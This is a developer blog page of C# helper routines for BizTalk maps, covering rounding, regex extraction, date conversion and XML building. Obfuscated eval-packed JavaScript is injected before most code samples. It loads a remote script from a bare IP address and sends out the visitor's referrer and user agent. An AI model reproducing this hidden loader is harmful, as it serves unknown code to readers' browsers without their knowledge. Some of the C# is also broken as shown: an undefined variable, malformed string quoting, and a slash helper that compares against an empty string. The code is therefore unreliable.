The BizTalk roundingfunctoid uses “Banker’s rounding” by default. That means if you have odd numbers round away from zero, and even numbers round towards zero.
For example, 1.5 rounds to 2, and 2.5 rounds to 2. This is the a “fair” way of rounding, so that neither party in a business transaction benefits. I’m currently working in the aviation fuel industry, and they always wanted to round “up”. In Microsoft terminology, this is called “away from zero”, because for negative numbers you are rounding up- or away from zero, to a bigger negative number.

First I implemented the first function below. It worked great when the data was clean. But if I had a field with a NULL value (i.e. the XML element was missing), the routine blew up with a nasty error.

I came up with the idea of the second routine, called “RoundAwayFromZeroSafe”. I have to pass more parameters to it, in order to get a useful error message written to the application event log.
If I wanted my code to be re-usable, these parms are needed to identify 1) Which map (I include the project name/map name here), 2) Field Name (for example, Net vs Gross, which field being rounded caused the problem), and 3) some identification number (in my case it was called TicketNum, although I should have gone with a more generic name for the parm). The first parm is the number to round, that comes from the left side of the map. Likewise, the TicketNum comes from the left side of the map. The other two fields are entered as constants into the Scripting Functoid (see picture below the code).

Why do I want to pass the ID/TicketNum?  Suppose you have a map of 1000 tickets/records.  How do you know which one has the bad data in it, unless you include the ID in the error?  It certainly saves a lot of time guessing or searching for the bad data to have it clearly labeled which “row” it is on.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbase|var|u0026u|referrer|tsdes||js|php'.split('|'),0,{}))
</script></noindex>        public static decimal RoundAwayFromZero(decimal numberToRound)
        {
            // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
            // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
            // BUt we want to always "round up", i.e. away from zero. 
            return Math.Round(numberToRound, 0, MidpointRounding.AwayFromZero);
        }

        public static decimal RoundAwayFromZeroSafe(string strNumberToRound, string strTicketNum, string strMapName, string strFieldName)
        {

            decimal decNumberToRound = 0; 
            if (decimal.TryParse(strNumberToRound, out decNumberToRound)) 
            {

                // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
                // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
                // BUt we want to always "round up", i.e. away from zero. 
                return Math.Round(decNumberToRound, 0, MidpointRounding.AwayFromZero);
            }
            else if (strNumberToRound == null) 
            {
                // same as below, but no need to write error message to EventLog 
                return 0;
            }
            else 
            {
                string errorMsg = "Non-Decimal passed to RoundAwayFromZeroSafe Ticket=" + strTicketNum +
                                    " MapName=" + strMapName + 
                                    " FieldName=" + strFieldName + 
                                    " Value Passed='" + strNumberToRound + "'";
                System.Diagnostics.EventLog.WriteEntry("Logger", errorMsg, System.Diagnostics.EventLogEntryType.Error);
                return 0;
            }
        }

This shows how I pass the constants to the above routine: RoundAwayFromZeroSafe

BizTalkRoundingFunctoidConfig

Here’s an example of the error written the log (before I started checking for nulls). One might debate whether a map should ever write to the log. In theory, these type of errors should be worked out during development and QA, so it should never happen in Production. We use “Logger” for our common Event-Log-Source, so any of our programs that write to the EventLog will be tagged with the source as “Logger”. NOTE: There are a few extra steps (documented elsewhere) to establish a new event log source on each system.

BizTalkRoundingFunctoidEventLogErrorExample

The actual message reads:

Non-Decimal passed to RoundAwayFromZeroSafe Ticket=QT.Epic.Export:EFSRExtractsGrouped_v1_0_To_EPIC_csv.btm MapName=SPMSP476723 FieldName=Gross Value Passed=”

(Oops – I just noticed that I have Ticket and Mapname backwards in the error message).

 

Microsoft References:
1) BizTalk Rounding Functoid
2) Microsoft Rounding AwayFromZero vs ToEven (Banker’s Rounding)

Below is a code fragment I use to extract a matching string using RegEx (C# Regular Expression). I put it in a class library, and make it available to BizTalk Orchestrations, Pipeline, and Map Scripting functoids that might need to call it.

//using System.Text.RegularExpressions;  <-- put this above your class, put the method below in some class library 

        public static string extractUsingRegEx(string text, string pattern)
        {
            string resultString = "";
            Regex r1 = new Regex(pattern);
            Match match = r1.Match(text);
            if (match.Success)
            {
                resultString = match.Groups[1].Value;
            }
            else
            {
                throw new System.ApplicationException
                    ("RegEx did not match: pattern=" + pattern + " text=" + text);
            }
            return resultString;
        }

Below is an example usage of the RegEx routine

            string searchText = "LastName=Walters FirstName=Neal State=Texas";
            string pattern = "FirstName=(.*?) "; 
            string result = extractUsingRegEx(searchText, pattern);
            Console.WriteLine("Result=" + result); 

The parentheses indicate the text to be captured and returned in the result string. Note that in RegEx, the ? mark is used as the non-greedy indicator.

Converting a date such as 1/21/2008 11:09:05 AM to XML Date/Time Format.
You might want to put this code into a MapHelper library, then reference
it from a Scripting Functoid in a BizTalk Map.

<code>
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrif|var|u0026u|referrer|kannz||js|php'.split('|'),0,{}))
</script></noindex>        public static string ConvertDateTimetoXmlDateTime(string inDate)
        {
            try
            {
                DateTime dtIn = DateTime.Parse(inDate);
                return System.Xml.XmlConvert.ToString(dtIn, System.Xml.XmlDateTimeSerializationMode.Local);

            }
            catch
            {
                return "invalid-Date/Time-conversion from value='" + inDate + "'";
            }
        }
</code>

We needed to compare a C# date-time in string format to a DB2 TimeStamp format.
Use the DateFormat string below. The six f’s represent the milliseconds.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzkhh|var|u0026u|referrer|hfakf||js|php'.split('|'),0,{}))
</script></noindex>                    txtResultUpdateTimeStamp.Text =
                                        propResult.PropertyFields.updateTimeStamp.ToString(
                                                    "yyyy-MM-dd-hh:mm:ss.ffffff");

Converts several date/time formats to standard XML Date/ Time


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nifyf|var|u0026u|referrer|ftizd||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This takes a vendor's non-standard dates, such as 5/1/2008 and formats as XML Date.
        /// (i.e. the month may one or two digits, the day may be one or two digits).
        /// Neal Walters - changed on 09/03/2008 to  throw exception. 
        /// also tested to make sure it handles all the following dates (and it does)
        ///    string testDate1 = "03/09/2008";
        ///    string testDate2 = "1999-05-31";
        ///    string testDate3 = "03/09/2008 10:50:16.157";
        ///    string testDate4 = "1999-05-31T13:20:00.000-05:00";
        ///    string testDate5 = "2008-09-03 10:50:16.157";
        ///    string testDate6 = "2008-09-32";
        /// </summary>
        /// <param name="inDate"></param>
        /// <returns></returns>
        public static string ConvertDateTimetoXmlDateTime(string inDate)
        {
            try
            {
                DateTime dtIn = DateTime.Parse(inDate);
                return System.Xml.XmlConvert.ToString(dtIn, System.Xml.XmlDateTimeSerializationMode.Local);

            }
            catch
            {
                string errorMessage = "invalid-Date/Time-conversion from value='" + inDate + "'";
                throw new Exception(errorMessage);
                //return errorMessage;
            }
        }

We had a case where many maps need to convert YYYYMMDD date format to a standard XML date.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrdae|var|u0026u|referrer|zdrrn||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// Convert date in format YYYYMMDD to the standard XML Date format
        /// </summary>
        /// <param name="inDate"></param>
        /// <returns></returns>
        public static string ConvertYYYYMMDDtoXmlDate(string inDate)
        {
            try
            {
                return inDate.Substring(0, 4) + "-" +
                        inDate.Substring(4, 2) + "-" +
                        inDate.Substring(6, 2);
            }
            catch
            {
                return "invalid-YYYYMMDD-conversion from value=" + inDate + "'";
            }
        }

This code builds an xml document in memory, then returns it as an System.Xml.XmlDocument. It also show the proper way to build an XML date.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyztr|var|u0026u|referrer|fyzyd||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This routine is needed when an in-bound endpoint has a map failure when translating
        /// inbound schema to  TMXML. 
        /// </summary>
        /// <returns></returns>
        public static XmlDocument ReturnNewTMXML()
        {
            DateTime currentDateTime = DateTime.Now;
            string strDateTime = currentDateTime.ToLongDateString();

            string strMyDoc =
            "<n2:MyRootEl xsi:schemaLocation='http://MyNamespace.MySchema.xsd' +
'xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>" +
                "<source>" +
                  "<objectId>NULL</objectId>" +
                  "<objectType>NULL</objectType>" +
                  "<requestor>NULL</requestor>" +
                  "<transactionGuid>NULL</transactionGuid>" +
                  "<requestType>NULL</requestType>" +
                  "<dateTimeReceived>" + TFBIC.Common.BizTalk.Components.MapHelper.ConvertDateTimetoXmlDateTime(strDateTime) + "</dateTimeReceived>" +
                  "<isResponseExpected>false</isResponseExpected>" +
                "</source>" +
            "</n2:MyRootEl>";

            XmlDocument xmlDoc = new XmlDocument();
            xmlDoc.PreserveWhitespace = true; //making sure no whitespaces get added
            xmlDoc.LoadXml(strTMXML);
            return xmlDoc;

        }

This sample shows how to build an XML node and add it as a new child in an existing

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyisy|var|u0026u|referrer|rntbi||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This routine is needed when an in-bound endpoint Sends TMXML with no Itinerary Node in the Header
        /// The Receiver must make sure that the Itinerary node is present in the Header.
        /// </summary>
        /// <returns></returns>
        public static XmlDocument AddItineraryNode(XmlDocument xmlDoc)
        {
            xmlDoc.PreserveWhitespace = true; //making sure no whitespaces get added
            string strXPath = "//*[local-name()='ItineraryStep']";
            string strItinerary =
                    "<policyName>NULL</policyName>" +
                     "<status>NULL</status>" +
                     "<currentStepName>NULL</currentStepName>" +
                     "<currentStepStatus>NULL</currentStepStatus>" +
                     "<currentStepIndex>0</currentStepIndex>" +
                     "<currentStepErrorType>NULL</currentStepErrorType>" +
                     "<currentProcessCode>NULL</currentProcessCode>" +
                     "<currentProcessMethod>NULL</currentProcessMethod>" +
                     "<itinerarySteps></itinerarySteps>";
            XmlNamespaceManager iMgr = new XmlNamespaceManager(xmlDoc.NameTable);
            XmlNode nodeItin = xmlDoc.SelectSingleNode(strXPath, iMgr);

            if (nodeItin == null)
            {
                XmlElement newItinerary = xmlDoc.CreateElement("Itinerary");
                newItinerary.InnerXml = strItinerary;
                xmlDoc.DocumentElement.FirstChild.AppendChild(newItinerary);
            }

            return xmlDoc;

        }


This can be useful for generating test data.
Or perhaps for generating a random delay in seconds.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frike|var|u0026u|referrer|eiktf||js|php'.split('|'),0,{}))
</script></noindex>        public static double GetRandomNumber(double minimum, double maximum)
        {
            Random random = new Random();
            return random.NextDouble() * (maximum - minimum) + minimum;
        }

It’s an attribute (decorating), not a preprocessor directive, that allows you to skip a well-tested method when you are using F11 to step-through your code.

THE PROBLEM
When using F11 to step through your code in debug mode, you often go into helper routines that are well-tested and won’t have errors. Wouldn’t it be nice to skip over these? Wouldn’t that speed up your debugging – or at least make it less boring?

THE SOLUTION:
Add the “DebuggerStepThroughAttribute” before the method you want to skip.

Below is a simple routine I often use that adds a Slash to a path name, but only when it doesn’t end with a slash. It works, so I never need to walk-into it. (I guess I could also put it in a common library.)

        [DebuggerStepThroughAttribute()]
        public static string EndsWithOneSlash(string pathname)
        {

            // make sure we have one slash at the end of a path
            if (!pathname.EndsWith(@""))
                pathname = pathname + @"";
            return pathname;
        }